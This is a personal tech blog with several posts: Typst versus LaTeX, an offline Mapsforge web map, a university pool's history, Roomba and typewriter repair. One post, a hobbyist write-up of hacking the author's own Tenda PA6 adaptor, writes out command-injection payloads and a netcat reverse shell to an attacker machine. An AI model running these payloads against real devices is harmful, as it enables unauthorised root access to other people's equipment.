For context, have fun trying to figure out what output this macro would produce:

\newcommand{\cvskill}[2]{%
 \textcolor{emphasis}{\textbf{#1}}\hfill
 \BeginAccSupp{method=plain,ActualText={#2}}
 \foreach \x in {1,...,5}{%
 \ifdimequal{\x pt - #2 pt}{0.5pt}%
 {\clipbox*{0pt -0.25ex {.5\width} {\totalheight}}{\color{accent}\cvRatingMarker}%
 \clipbox*{{.5\width} -0.25ex {\width} {\totalheight}}{\color{body!30}\cvRatingMarker}}
 {\ifdimgreater{\x bp}{#2 bp}{\color{body!30}}{\color{accent}}\cvRatingMarker}%
 }\EndAccSupp{}\par%
}

You’d think a system from the 1970s would be quick on modern computers. This is not the case. Once your document grows to have a decent number of embedded figures, everything takes a while. You can work around this, but it feels like it should just work. From scratch, compiling the Final Year Project report I wrote for uni took a solid 23 seconds, and it isn’t even that large of a document, only about 50 pages and 13 figures. Subsequent compiles are a bit quicker, taking about 5 seconds, but that is still quite far from ideal.

$ time latexmk -pdf -silent main.tex
Latexmk: Run number 1 of rule 'pdflatex'
Latexmk: Run number 1 of rule 'biber main'
Latexmk: Run number 2 of rule 'pdflatex'
Latexmk: Run number 3 of rule 'pdflatex'
Latexmk: Run number 4 of rule 'pdflatex'

real 0m23.588s

$ time latexmk -pdf -silent main.tex
Latexmk: Run number 1 of rule 'pdflatex'

real 0m5.509s

LaTeX’s markup also seems quite archaic to me. Most people are used to Markdown syntax, so any similarity to that will ease the learning curve. Here is how you’d create the equivalent of a <h4> and include an image. It is fine once you get used to it, but that can take a while.

\subsubsection{Sub-files}

\begin{figure}[ht]
 \centering
 \includegraphics[width=0.8\textwidth]{../proof-of-concepts/4-rendering-osm-data/screenshots/high-detail-at-low-zoom.png}
 \caption{Raw tiled data from zoom 14 base tiles}\label{fig:rendering-tiles}
\end{figure}

Sub-files store map data for a range of zoom levels. For example, [-snip-]

Now I’ve established the motivation, I can extol the virtues of Typst. Typst is a fresh take on document preparation. It combines the good bits of LaTeX, but with much faster compiles and a smaller learning curve. Here’s how you’d do the same in Typst:

==== Sub-files

#figure(
 image(
 "../proof-of-concepts/4-rendering-osm-data/screenshots/high-detail-at-low-zoom.png",
 width: 80%,
 ),
 caption: [
 Raw tiled data from zoom 14 base tiles.
 ],
) <fig:rendering-tiles>

Sub-files store map data for a range of zoom levels. For example, [-snip-]

This syntax makes far more sense to me, as it is pretty standard C-like language. It has all the usual constructs like functions, variables, loops, conditionals, etc. In testament to this, I decided to rewrite my CV from LaTeX to Typst. I had been using the AltaCV class, and wanted to see how hard it would to recreate in Typst. It only took a few hours.

Here is a Typst recreation of the \cvskill TeX macro we saw before:

#let skill(name, rating) = {
 let max_rating = 5
 let i = 1

 name
 h(1fr)

 while (i <= max_rating){
 let colour = rgb("#c0c0c0") // grey

 if (i <= rating){
 colour = primary_colour
 }

 box(circle(
 radius: 4pt,
 fill: colour
 ))

 // add spacing on all but last
 if (i != max_rating){
 h(2pt)
 }

 i += 1
 }

 [\ ]
}

== Skills

Here are some of my skills!

#skill("Go", 5)
#skill("TypeScript", 3)
#skill("Git", 1)
#skill("Typst", 1)

Rendered output of the snippet above, calling the skill() function

For some context, Typst mixes content and scripting together. While writing content, you can insert script, by prepending a #. While in the script context, i.e. inside the skill() function above, you no longer need to prepend # to functions, and can include arbitrary content inside [ square brackets ].

Compilation is pretty much instant. Typst uses incremental compilation, enabled by a system of constrained memoization. The lack of delay between keypress and render is appreciated, but the technical details go way over my head.

I’d wholeheartedly recommend Typst to anyone who might be thinking of learning LaTeX, or wants a document preparation system that is comparable in simplicity to Markdown, but with the power to represent pretty much anything. I wish that it had been around 10 years ago for 15-year-sold me!

If you’d like to learn more about Typst, their tutorial is excellent.
For a more detailed overview, see Laurenz Mädje’s master’s dissertation.

ShareLaTeX has since been bought out by Overleaf, the other big player in the online LaTeX space. In a slightly unusual move, Overleaf then replaced their own editor with better one of ShareLaTeX. ↩︎

Breaking into your Tenda PA6 Powerline adaptor

Sun, 10 Sep 2023 11:25:58 +0100

So I have a little Tenda PA6 Powerline/HomePlug WiFi extender that I use as an additional WAP in the attic room of my house. This room has been getting very hot recently (around 35 °C), and when I touch the device it feels to be at least 60 °C. Tenda’s website says that the PA6 can operate in temperatures up to 40 °C, but I wanted to see if I could get some temperature readings out of the device to see how hot it is actually getting.

What I should have done here is buying an infrared thermometer, but where is the fun in that?

Conveniently for me, some security researchers from IBM have already made a pretty comprehensive write-up of all the holes in the PA6. In typical vendor fashion, Tenda have not fixed any of these issues in the 3 years since they published the article. The researchers provide 3 exploits for the device, an authed Command Injection, an authed Buffer Overflow, and a pre-auth DoS. As I have the admin password (the default is admin 🤦), I decided to go with the Command Injection, which I figured would be the easiest to exploit.

The Command Injection issue is as basic as it gets. On the device’s powerline settings page, you can change the names of the other PLCs on the network. Unfortunately, this name change is done by simply sprintf‘ing the raw user input into a string, which is then executed as a command on the system, as root. This means you just need to put a little " ; in your chosen name, and then you can run any command present on the device. The security researchers don’t quite spell out how to exploit this, but even I managed it after a few hours of head scratching.

Conveniently, the PA6 has BusyBox installed, which has a netcat binary for us to use — I found out about this from a GitHub gist listing all the files in the firmware image. As I wanted a shell on the PA6, we can use netcat to pipe a shell session over a TCP socket back to my attacker PC (a reverse shell).

To do this you first need to spin up a netcat listener on your attacker PC, which will listen for incoming connections. I did this with nc -lvp 4444. Note in this example my attacker PC has the IP address 192.168.1.100.

Then we begin to work on the PA6, pasting our commands into one of the PLC device name fields. The version of nc on the PA6 doesn’t have the convenient -e option that handles executing a command for you, so instead we have to do a dance with a named FIFO pipe ¹. You first paste in:

a" ; mknod /tmp/f p #

Here a is just a placeholder name. You can then set up the reverse shell by pasting the following into the same field ²:

a" ; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f #

What we are doing here is passing whatever comes out of the /tmp/f pipe into the stdin of the shell. We then pipe the stdout and stderr of the shell into netcat, which will send it back to our attacker PC. Finally, we redirect the stdout of netcat (which is whatever commands we input on the attacker PC), back into the /tmp/f pipe. This gives us a poor man’s SSH session on the PA6.

netcat on your attacker PC should then print some message like:

Ncat: Connection from 192.168.1.XX.
Ncat: Connection from 192.168.1.XX:XXXXX.

BusyBox v1.17.2 (2018-01-22 01:08:54 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

Now you can explore! Here is /proc/cpuinfo, (some of) /proc/meminfo and /proc/version:

# cat /proc/cpuinfo
system type : 960500WIFI_P201
processor : 0
cpu model : Broadcom BMIPS3300 V3.3
BogoMIPS : 397.31
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
ASEs implemented :
shadow register sets : 1
kscratch registers : 0
core : 0
VCED exceptions : not available
VCEI exceptions : not available

# cat /proc/meminfo
MemTotal: 29468 kB
MemFree: 1288 kB
Buffers: 700 kB
Cached: 3808 kB
SwapCached: 0 kB
Active: 5680 kB
Inactive: 2028 kB
[...]
VmallocTotal: 1032116 kB
VmallocUsed: 2784 kB
VmallocChunk: 1025180 kB

# cat /proc/version
Linux version 3.4.11-rt19 (root@localhost.localdomain) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 PREEMPT Mon Jan 22 01:07:36 CST 2018

A whole 32 MB of RAM! Here is top:

Mem: 28240K used, 1228K free, 0K shrd, 740K buff, 3816K cached
CPU: 0% usr 5% sys 0% nic 93% idle 0% io 0% irq 0% sirq
Load average: 0.84 0.78 0.78 1/47 17193
 PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
 250 2 admin SW 0 0% 0 5% [wl0-kthrd]
 217 2 admin SW 0 0% 0 1% [bcmsw_rx]
17147 15971 admin R 1712 6% 0 0% top
 588 294 admin S 5348 18% 0 0% httpd -m 0
 415 294 admin S 4704 16% 0 0% wlmngr -m 0
 422 421 admin S 4704 16% 0 0% wlmngr -m 0
 421 415 admin S 4704 16% 0 0% wlmngr -m 0
 418 294 admin S 3888 13% 0 0% homeplugd -m 0
 295 294 admin S 3848 13% 0 0% ssk
 420 419 admin S 3784 13% 0 0% consoled
 294 1 admin S 3504 12% 0 0% /bin/smd
 416 294 admin S 3428 12% 0 0% plcnvm -m 0
 543 1 admin S 1948 7% 0 0% /bin/nas
 310 294 admin S 1764 6% 0 0% syslogd -n -C -l 7
 565 1 admin S 1712 6% 0 0% /bin/acsd
15971 15966 admin S 1712 6% 0 0% /bin/sh -i
 1 0 admin S 1708 6% 0 0% init
15966 588 admin S 1708 6% 0 0% sh -c homeplugctl remote_set --rem
 419 1 admin S 1708 6% 0 0% -/bin/sh -l -c consoled
15972 15966 admin S 1704 6% 0 0% nc 192.168.1.100 4444

Unfortunately, I couldn’t actually find any way of reading any temperature sensors on the device. I tried looking in /sys/class/thermal, and a couple of other places, but nothing seemed to present itself. Presumably this SOC just doesn’t have any temperature sensors.

The PA6 uses a very old version of BusyBox, v1.17.2, which was released in August 2010. Weirdly it was compiled 8 years later, on 2018-01-22 01:08:54. From digging in the source code, it seems the -e switch was available in BusyBox v1.17.2’s nc, but it seems to have been compiled without the NC_EXTRA option. ↩︎
You’d normally do this in a single step, but this field only accepts 63 characters. I’m assuming this is just a client side limit, so you could probably sidestep it by sending the request with curl or something. ↩︎

Building an offline web map

Tue, 04 Jul 2023 11:19:09 +0000

This is a summary of the Final Year Project that I completed as part of my last year at Royal Holloway. The task was to produce an “Offline HTML5 Map Application”. You can try out the result, OSMO, at files.george.honeywood.org.uk/final-deliverable/. The code is available on GitHub, and I have also written a formal report.

Building an offline HTML5 map application is a slightly weird thing to do. Most web maps are decidedly online, fetching tiles dynamically from a tile sever whenever they are required. Most offline map applications are native apps for mobile devices, which fulfil the main use case for an offline map, navigation. However, it is possible to build offline web apps, through technologies like Service Workers, and it seemed like a good opportunity for me to understand the lower levels of how web maps work.

What follows is less of a summary of how a digital map is built, and more of a description of the things I found interesting along the way.

OpenStreetMap data

First, you need data to render. Raw OpenStreetMap data comes in either XML, or a more efficient, but semantically similar binary representation, known as PBF. Neither of these are particularly suitable for rendering a map from – they are instead designed to simplify editing. Here is an example of a building in raw OSM XML:

<osm version="0.6" generator="CGImap 0.8.8 (2471524 spike-07.openstreetmap.org)" copyright="OpenStreetMap and contributors" attribution="http://www.openstreetmap.org/copyright" license="http://opendatacommons.org/licenses/odbl/1-0/">
 <way id="590592938" visible="true" version="4" changeset="122480423" timestamp="2022-06-16T20:22:59Z" user="GeorgeHoneywood" uid="10031443">
 <nd ref="5638445937"/>
 <nd ref="5638445938"/>
 <nd ref="5638445939"/>
 <nd ref="5638445940"/>
 <nd ref="5638445937"/>
 <tag k="addr:housenumber" v="21"/>
 <tag k="addr:street" v="Locksley Drive"/>
 <tag k="building" v="detached"/>
 </way>
 <node id="5638445937" lat="50.7929905" lon="-1.8975593" visible="true" version="3" changeset="85567769" timestamp="2020-05-21T17:50:39Z" user="GeorgeHoneywood" uid="10031443" />
 [... more nodes ...]
</osm>

Instead of the shape of this building being directly represented (like a GeoJSON LineString), a way is made up of constituent nodes, which can then be looked up by ID, to find their position, to derive the geometry of a building. Each of these ways is linearly stored in the file, one after the other, with no geospatial indexing.

Performance considerations

In order to allow for real-time rendering of a map, we have to make two main optimizations: tiling, and zoom simplification. These are both processes that have to be done in advance.

Tiling is the process of splitting the map data into a grid of tiles. Dividing the area up into a grid means that we only need to send (and render) the data currently within the clients’ viewport. For example, if a user is zoomed in on Trafalgar Square in London, there is no point sending detailed map data for the whole of the UK, or even the whole of London, as it will not be on the screen. Each zoom level has its own set of tiles, and these can be accessed through Z/X/Y coordinates, where the maximum X/Y values double as Z increases by one.

Simplification is less relevant for a zoomed in view, but is very necessary for a zoomed out region or country zoom level. It is simply not possible (in real time) to render all the detail of a whole country – and besides, rendering the exact geometry of a road is not necessary, as it can’t be seen from the zoomed out view. Therefore, in advance, we must simplify the data in order to remove unnecessary detail. This is effectively invisible to the user if executed well, as it should only remove what is imperceptible. The Douglas-Peucker algorithm is a popular algorithm for achieving this, but some manual tag-based checks are also required, so that you only preserve large roads and other important details when zoomed out.

As part of this, you need to decide at how many zoom levels you provide simplified versions of the geometry. There is a trade-off here – if you stored a simplified version for every zoom level between 1 and 20, the versions only one level apart will basically be duplicates, storing almost the same data, wasting space. For the zoom levels you don’t store a simplified version for, you can either “under-zoom” a more detailed one, or “over-zoom” in the other direction. For example, if you stored a simplified copy at zoom 14, you could still render data at z12, albeit at a performance loss, as you are rendering unperceivable details. Equally, you could also render at z16, but the artefacts introduced by simplification may become visible.

Crunchy geometries that result from overzooming a tile too far

Mapsforge file format

Developing my own map file format that handles both of these issues would have been a significant undertaking, so I decided that using an existing option would the best strategy. Luckily for me, the Mapsforge project has developed a file format which satisfies both of these requirements.

As far as I can tell, there is not an existing library for reading Mapsforge format map files in JavaScript/TypeScript, apart from this effort by ThomasHubelbauer – which goes as far as decoding the file header.

The basic structure of the Mapsforge file format is as follows (see the specification for details):

Header: contains metadata about the map, such as bounding boxes, and details about the zoom levels that simplified geometry is stored for (hence referred to as “zoom intervals”).
For each zoom interval, a subfile, which itself contains:
- An index, allowing you to locate simplified tile data via Z/X/Y tile coordinates.
- The simplified tile data itself, first Point of Interest (PoI) data, then Way data.

There are a number of neat tricks the format uses to eke out extra performance. For example, each zoom simplified tile is stored with a “zoom table”, which is used to limit the number of features that are rendered if a tile is being over-zoomed or under-zoomed. This seems a little odd, but as the data is stored in a priority order, Ways/PoIs that should be rendered at the lowest zooms are stored first, and therefore if we just stop rendering features after the depth specified in the zoom table, we can render extra features as we zoom, even though we are only storing a single simplified version of the tile. Therefore, roads will be stored before buildings, so when at a low zoom, we can simply stop after rendering the roads, avoiding rendering buildings.

There should have been a video here, but your browser does not seem to support it. You can try visiting /blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4 instead.

Zoom table limiting the amount of features rendered from a tile

Another more common trick the file format uses is delta (and double-delta) encoding. This is a useful technique for reducing the amount of space required to encode a sequence of numbers. The idea is that instead of storing a series of numbers like [50, 52, 48, 60], you instead store a start point, such as 50, and then also the difference between each number and the previous one, such as [2, -4, 12]. This approach is valuable for the map use case, as the majority of points will near the previous one, hence giving us delta values that are much smaller in magnitude than raw coords. Double-delta encoding takes this a step further, storing the difference between the deltas — the Mapsforge file writer opportunistically uses this approach when it results in a smaller file size.

In a similar vein to storing way coordinates with delta encoding, all coordinates in a tile are stored relative to the origin of the tile. This once again cuts down the magnitude of the numbers you are storing. Another nice technique is the encoding of coordinate values. Although you might assume that a coordinate, such as (54.6195, -3.0778), would be stored as two floating point numbers, they instead store coordinates as integer values in microdegrees — i.e. degrees × 10^6. This saves some space compared to storing floats, without compromising precision.

They also use a variable-length encoding scheme for integers, allowing both large and small numbers to be stored in the same format, without losing too much efficiency. For example, the naïve approach would be to use 32-bit integers for all numbers, but this would result in space being wasted when storing small delta values (which could fit in an 8-bit int). Therefore, they sacrifice the first bit of each byte as a continuation indicator, and use the remaining 7 bits to store (a part of) the actual value.

// decode a variable length _unsigned_ integer as a number
// this.data is a DataView, and this.offset is the offset we are reading from, in bytes
getVUint() {
 // if the first bit is 1, need to read the next byte. the rest of the 7 bits
 // are the numeric value, starting with the least significant
 let value = 0;
 let shift = 0;

 // check if we need to continue
 while ((this.data.getUint8(this.offset) & 0b1000_0000) != 0) {
 // if this not the first byte we've read, each bit is worth more
 value |= (this.data.getUint8(this.offset) & 0b0111_1111) << shift
 this.offset++
 shift += 7
 }

 // read the seven bits from the last byte
 value |= (this.data.getUint8(this.offset) << shift)
 this.offset++
 return value
}

The final trick that I’ve already partially discussed is packing multiple values into a single byte. This allows you to store up to 8 flags in 1 byte, instead of a whole byte for each flag. As the minimum you can read from a DataView is 1 byte, you have to do some bit manipulation to read out the individual boolean flags. This is a bit fiddly, but the space savings add up. Representing the bitmask values in binary with 0b makes it a bit easier to understand what is going on.

const flags = tile_data.getUint8()

const has_name = (flags & 0b1000_0000) !== 0
const has_house_number = (flags & 0b0100_0000) !== 0
const has_elevation = (flags & 0b0010_0000) !== 0

As I’d never written any binary parsing code before, this was quite an instructive process for me. Although the specification was very helpful, it was often not exactly obvious how to utilize the decoded data, and there were some confused details. At one point I had to dig into the Java sources of the reference implementation, as the specification did not align with what was actually in the files ¹. I ended up writing a simple hexdump function to help me debug issues with my parser.

Rendering

The next step is actually rendering the data. At a basic level this isn’t too complicated. You first need to project the coordinates from WGS-84 to your desired projection, in my case Web Mercator. The Web Mercator projection is conformal, meaning it preserves angles (locally) whilst distorting area. Once you’ve projected the coordinates, you can draw the data to the canvas. Firstly, to handle translation of the map, you will need x/y offset values, that which will alter what falls within the map viewport.

In order to handle map zooming, you need to implement a scale factor that you multiply the coordinates values by before drawing them, having the effect of stretching the map out ². The complication here is that this will scale about the origin, so you need to will need to dynamically adjust the x/y offsets so that you zoom centred around the mouse position. Although this sounds simple enough, it was one of the things that took the longest to get right, as the maths was fiddly. This is the sort of code that you write, and then have no idea how it works the next day, and I am not proud.

// x and y are the mouse coordinates, and zoom_delta is the amount to zoom by
const new_zoom = this.zoom_level + zoom_delta;
let scale = 2 ** this.zoom_level;

const x_offset_scaled = (x - this.x_offset) / scale;
const y_offset_scaled = ((this.canvas.height - y) - this.y_offset) / scale;

scale *= (2 ** zoom_delta);

this.x_offset = x - (x_offset_scaled * scale);
this.y_offset = (this.canvas.height - y) - (y_offset_scaled * scale);

this.zoom_level = new_zoom

Range requests and service worker abuse

My next goal was to make the app work offline. Naïvely, this is simple — just store the whole map file in a Service Worker cache, then fetch() it from there when offline. This approach worked fine while I was initially testing the app, given I was only using small map files (say >10 MB). Unfortunately, country sized maps will be much larger — the map file for England is about 1 GB. While it is actually possible to fetch() and store a 1 GB blob in a Service Worker in modern browsers, having to download the entire map file on launch is terrible UX. I had two design goals in conflict:

The app should work instantly online, without a lengthy download period
The app should work offline

When online, we could do with some way of only partially loading the file, loading more data as the user pans the map. This is where range requests become useful, allowing you to fetch certain byte range(s) from a file ³. The Mapsforge file format was not designed with this use case in mind, but it is actually fairly efficient. To be able to read a map tile from its Z/X/Y coordinate, we first need to look up its byte position in the file, using the indexes. As this is a common operation, and we have significant network latency, it makes sense to cache the indexes at startup, as they are actually fairly small. For example in the England map file, in the most detailed sub-file (at zoom 14), there are about 200,000 tiles, and each index entry is 5 bytes. This means that in total the largest index is about 200,000 × 5 = 1 MB.

Unfortunately, this has broken offline support, as we can we no longer have the whole file available to stash in the Service Worker. While Service Workers can serve HTTP range requests from a larger cached file (useful for storing video offline), there is no mechanism to store only portions of a larger file. This is where I went slightly off-piste. The general idea of Service Workers is that they are a proxy between the browser and the network, meaning you can intercept and decide how requests are replied to. Normally they are quite boilerplate, or use abstractions like Google’s Workbox — however you are completely free to implement your own custom logic.

Therefore, I implemented a scheme that allowed byte ranges to be stored, by inserting them into the Service Worker cache as separate request/response pairs. When a request was intercepted by a service worker, it would first check if it already had the byte-range, then if not, fetch it and cache it. The beauty of this approach is that it is completely transparent to the rest of the app, which just acts as if it is fetching ranges from the network. The ugliness of it is that the Service Worker cache is designed to store pairs of Request and Response objects. You retrieve the Response objects by passing the URL you want into cache.match(). But as we are dealing with byte ranges of a single file, we only have a single URL! To make multiple URLs I ended up appending a ?bytes=${start}-${end} query string to each range stored in the cache, which is quite an offensive hack.

Storing byte ranges in the Service Worker cache, using the manufactured ?bytes query string variable

This gave me the cache as you pan part of the solution, but I still wanted the user to be able to download a larger area for offline use, without downloading the whole 1 GB map. The simple approach to this is just fetching the byte ranges for each tile required, but if you are downloading a region this can quickly add up into thousands of tiles. You don’t want to be making that many HTTP requests all at once. Luckily tiles next to each other in the X dimension are stored in contiguous bytes, meaning you instead only have to make a single request for each row of tiles, effectively square-rooting the total (assuming your screen is square).

I ended up contributing a PR to clarify the wording of the specification. ↩︎
This scale factor actually needs increase exponentially, otherwise the zooming will get slower and slower as you zoom in. ↩︎
I was inspired to take this approach by the Protomaps project, who built a custom map format specifically for use with range requests. ↩︎

History of the Jane Holloway Swimming Pool

Mon, 20 Feb 2023 12:19:09 +0000

I study at Royal Holloway, a university probably most well known for the iconic Founder’s Building. According to Wikipedia, it is an example of French-Renaissance style architecture. Founder’s is often used in TV and film as visual shorthand for a grandiose university or school setting, starring in Avengers: Age of Ultron, The Crown, You, and most importantly, Midsomer Murders ¹.

On the wooded slopes below Founder’s is the grade two listed Jane Holloway Hall, which was formerly an indoor heated swimming pool. It was built in 1893, so about a decade after Founder’s was constructed. This completion date would make it one of the earlier examples in the UK. It is not nearly as visually impressive as Founder’s, but it suits the wooded environment well. Unfortunately, they decided to pebble dash it, which I think is a bad call on any building. Fortunately, the interior has the brickwork exposed, and is notable for its “elegant pinjointed steel roof trusses” ².

I’ve been curious about this building since I started studying here. There isn’t much about it online. On campus there are rumours that a student once drowned in the pool, and since haunts the corridors of Founder’s. Randomly I found a 13-year-old thread on Student Room, with this picture attached, which piqued my interest.

Jane Holloway Hall, undated (© Royal Holloway Archives)

This curiosity lingered on for a couple of years until I started swimming regularly. These days students have to make the 30-minute walk to Egham Orbit on the other side of the M25. Out of laziness, I wanted to find out why the university got rid of the more conveniently located campus swimming pool.

Jane Holloway Hall, 1906 (© Royal Holloway Archives, ref: RHC PH/213/1)

I figured the best place to find this out would be the university archives. From the Student Room thread, I knew that the pool was removed at some point in the 1980s. A brief search of the online archive catalogue returned some results that seemed like they might be relevant.

Here I have to thank the Archivist, who very helpfully identified magazines and other articles that referenced Jane Holloway Hall. As the documents are yet to be digitized, I had to book a visit to the archive reading room. This was the first time I have ever used an archive — I’d strongly recommend the experience. It’s quite weird seeing the world from a perspective 40 years in the past.

Fortnight News Bulletin Edition 2 (© Royal Holloway Archives, ref: RHBNC/CM/Pubs/2/1/2)

Pretty soon I found my answer in the very 1980s Fortnight university “News Bulletin” ³. I’ll include the text of the article here verbatim:

Ignominious end for Victorian swimming pool?

The indoor Victorian swimming pool at Royal Holloway is to remain unrepaired for the forseeable future. In 1981 it sustained considerable damage when a tree fell onto the roof of the building during a storm. Last January it was recommended by the Joint Standing Committee that the cost of repairing and modernizing the pool and the building, over £250,000, was too great to be considered at the present time. Even to have brought the pool up to working order for summer-time use only would have cost £100,000.

The swimming pool, which is situtated to the south of the Founders building, requires considerable outside renovation, as well as reflooring and the renewal of electrical equipment. It was considered that as far as the funds available to be spent on sports facilities were concerned, the swimming pool could not be regarded as a priority. Hence the matter has been laid to rest for the time being.

The swimming pool was built in 1893 and cost a ‘mere’ £1,995 9s 2d. Originally the water used in the pool was taken from the boating pond, which lies further up the slope towards Founders, and was heated as it passed through the swimming pool boiler. The boating pond is fed by constant underground springs, which can refill it within 36 hours. The water which went into the pool was alleged to be always ‘clean and fresh’ and the supply was sufficient for the pool to be refilled twice each week (on Thursdays and Saturdays). Since the water was fresh no maintenance work was required.

In 1935 the College authorities commissioned a study to be carried out on the possible modernization of the swimming pool, and consequently the following year a complete overhaul was done and filtration plants were fitted. The College authorities were worried that chlorinated water would have an adverse effect on cattle which drank from another pond lower down the slope where the used water was deposited!

The pool had originally been heated from a pipe off the main College heating system. Since it took 4 hours to clean the pool and 12 to 14 hours to refill, it was very expensive to maintain the heating supply.

Indeed it had such a prejudicial effect on the central system that a coke filled boiler was installed. By 1949 16 tons of coke in total were used each year to run the boiler, and the cost of maintaining the pool came to £13 10d each week.

The swimming pool remained in full use until 1981 when it was so badly damaged. Few students now remain at the College who have swum in the pool, and because the cost for repair will probably keep increasing it seems unlikely that the pool will ever be reopened for use. Since the state of the building is deteriorating and becoming dangerous, it might soon become expedient to demolish it. It is sad that such an historic building of the last century might come to such an ignominious end.

GORDON BORELAND

(Archive Research by Mr P J F Scott, Deputy Secretary)

TL;DR: a tree fell on the building in 1981. The required repairs and modernization would have cost £250,000 in 1983 (about £750,000 today). This seems to me to be a very reasonable sum to pay for repairs to a swimming pool ⁴. Presumably the university must have been under some considerable financial strain at the time. This article was comprehensive, providing a full history of the building, and I am grateful to Gordon Boreland and Mr P J F Scott for writing it.

After 1984 the basement of the building was used as the rock store for the Geology department. This continued until 1992, when it was realized that the damp conditions were causing “academically valuable” rock specimens to deteriorate ⁵. By the centenary of the building, in 1993, it had finally been converted into a “multi-purpose flat-floored” hall ². It was then used for lecturing and music rehearsals, with a seated capacity of 150.

More recently in 2018, the building was once again modernized — this time to become a space for group exercise, supplementing the relatively small on-campus gym ⁶. The interior today is remarkably consistent with pictures from 1906, having retained the exposed brickwork and steel roof trusses, with the caveat that it is now sans swimming pool. The grade two listing should prevent any alterations that would significantly alter its character in the future.

It would be quite amusing if it were to be converted back into a swimming pool one day. I’d be interested if anyone has more pictures of the building in use as a pool — I’m sure there must be some between 1906 and when it was damaged in 1981.

The Crown and You were filming recently, so I don’t have any sources (bar campus rumours). Royal Holloway has an official page listing previous productions. ↩︎
See RHUL Archive ref HB/CM/Pubs/2/3/43. ↩︎ ↩︎
See RHUL Archive ref HB/CM/Pubs/2/1/2. ↩︎
According to the architect, the new-build Egham Orbit leisure centre cost £19 million in 2019, making the £750,000 repair seem pale in comparison. ↩︎
See RHUL Archive ref HB/CM/Pubs/2/3/28. ↩︎
See Gym Now In Shape After Summer Upgrade from the RHSU blog. Note the images are of the gym, not Jane Holloway Hall. ↩︎

The Roomba

Tue, 17 Jan 2023 14:11:01 +0000

For Christmas one of my housemates got us a second-hand Roomba. I tried to not take this too personally. It came from Germany for the princely sum of £60, which got us the Roomba 555 from 2009.

There should have been a video here, but your browser does not seem to support it. You can try visiting /blog/the-roomba/images/docking-960x720.mp4 instead.

Somewhat unsurprisingly, a 14-year-old Roomba is not the cleverest thing. I think this has made me like it more. I’ve zoomorphised it to some degree — it has become our house pet, and is quite like owning an annoying cat. It seems to have two modes of operation; wall following and stochastic (random) bouncing about. This randomness is not particularly efficient.

Unlike modern robot vacuums, it cannot build a map of its environment, and thus tends to cover some areas multiple times and others not at all. However, it being autonomous means you can just leave it to run, and eventually it will get the job done acceptably or run out of battery. It is quite fun to watch it slowly clean up the grub on your floor.

In some ways I prefer it being a vintage device as it doesn’t connect to Wi-Fi, or require a suspicious mobile app. You just press a button, or schedule a clean, and away it goes. When it runs low on battery it tries to dock automatically, but as the movement is random, it doesn’t always make it home before the battery goes flat.

When it arrived, it was hilariously bad at vacuuming. It could suck up dust, but anything larger was completely ignored. After a while we figured out that the “beater bar” under it wasn’t spinning at all. Luckily, unlike almost any other consumer electronic device I’ve owned, repairing the Roomba was pretty easy. It is made up of a number of modules that can be individually replaced as needed. Even these modules can be trivially opened with a normal Phillips head screwdriver, and repaired yourself if you have the parts.

In Roomba land, the beater bar is part of the “Cleaning Head Module”. Nothing seemed to be visibly wrong with it, so I had a look inside the gearbox. Other than managing to strip one of the screws through impatience, it was pretty simple to get in. Once I had it open, the problem became rather obvious.

The gearbox was completely full of dust and hair. I’m not sure if this was a result of engineering oversight, or if it is just very difficult to seal a gearbox against 14 years of grime. This reminded me of a great video by rctestflight, where he runs a selection of RC cars in circles for literal weeks to see how far they’ll go. Some of them eventually failed after the universal joints driving the wheels wore down, and in others the gearboxes wore out, as mud got in and ate away at the gears.

The Roomba gearbox was broken in a slightly different fashion, as the gear connected to the motor had ended up wearing down so much it was slipping against the metal shaft. Presumably, if the gearbox had been cleaned at some point then it wouldn’t have built up such resistance and might still be working. Unfortunately I couldn’t replace the gears, as part of the gearbox housing had worn down to the point where there was so much play the gears didn’t mesh any more.

Somewhat surprisingly, iRobot still sells spares for the Cleaning Head Module that fits this model. Presumably this is due to it being a standardized part used over a number of generations. I bought one to replace my broken one, and other than the £6.50 (!) shipping charge their website worked well.

Annoyingly, immediately after this new part arrived, the Roomba stopped charging — complaining of Err5. I wasn’t sure if this was a problem with the charger or the battery, but I ended up replacing the battery with a 3rd party Ni-MH one from Amazon, which seemed to revive it. For these new parts I spent a total of £63.47 (£36.49 for the Cleaning Head and £26.98 for the battery), making the total spend about £120. This is significantly cheaper than the lowest end model iRobot currently sell, the Roomba® 698, on offer for £199.00.

Once I had installed the new parts, its cleaning performance improved dramatically. It can now pick up larger bits of dirt, and even gets fluffs and hairs up from the low pile carpets we have. One feature I am particularly fond of is “Dirt Detect”, which uses some kind of contact microphone in the Cleaning Head to detect dirty spots. When it finds one, it circles back and gives the area a second pass. It also has a “Spot” mode, where it cleans in concentric circles if you have a specific area that needs special attention.

I still need to replace the side brush on it. This is what would normally enable it to reach dirt that is close to the walls. For now, I have been manually brushing dirt into the middle of the floor, which you could argue defeats the point of a robot vacuum.

Olympia Traveller de Luxe

Sat, 30 Apr 2022 15:49:05 +0000

I’ve become a bit obsessed with typewriters. This is an Olympia Traveller de Luxe. The term “traveler” is definitely relative — it weighs about 5kg, and is quite the pain to carry.

Even though it is indisputably simpler than a modern laptop, the complexities of it seem more striking. It is packed with tiny linkages that all work in harmony to get the text on the page. Even the ink spools are more complicated than you might think. Each press of a key winds the ribbon a small amount from one spool to the other, and then once one side is exhausted, pressure builds on a pin that causes the mechanism to switch directions — returning the ribbon to the other spool.

You can adjust the margins using two sliders behind the paper slot. When you are within about 8 characters of the end of the line a little bell dings, reminding you to return the carriage. It is sometimes a little awkward when you are in the middle of a particularly long word, but you can always -hyphenate anything that will not fit. If you feel like living life on the edge, you can override the margins, letting you fit those last couple of characters in.

If you have a split color ribbon, you can swap colors using a little switch on the right. Personally I’ve never felt the need for anything over than black, but it is a nice option to have.

Line spacing is configurable; you can pick from the rather cramped 1, the standard 1.5, or the roomy 2. You first return the carriage, then pushing further scrolls the new line in. You can also disable the line spacing, and freely spin the platen wheel to your hearts content. This is very useful for loading the paper into the typewriter.

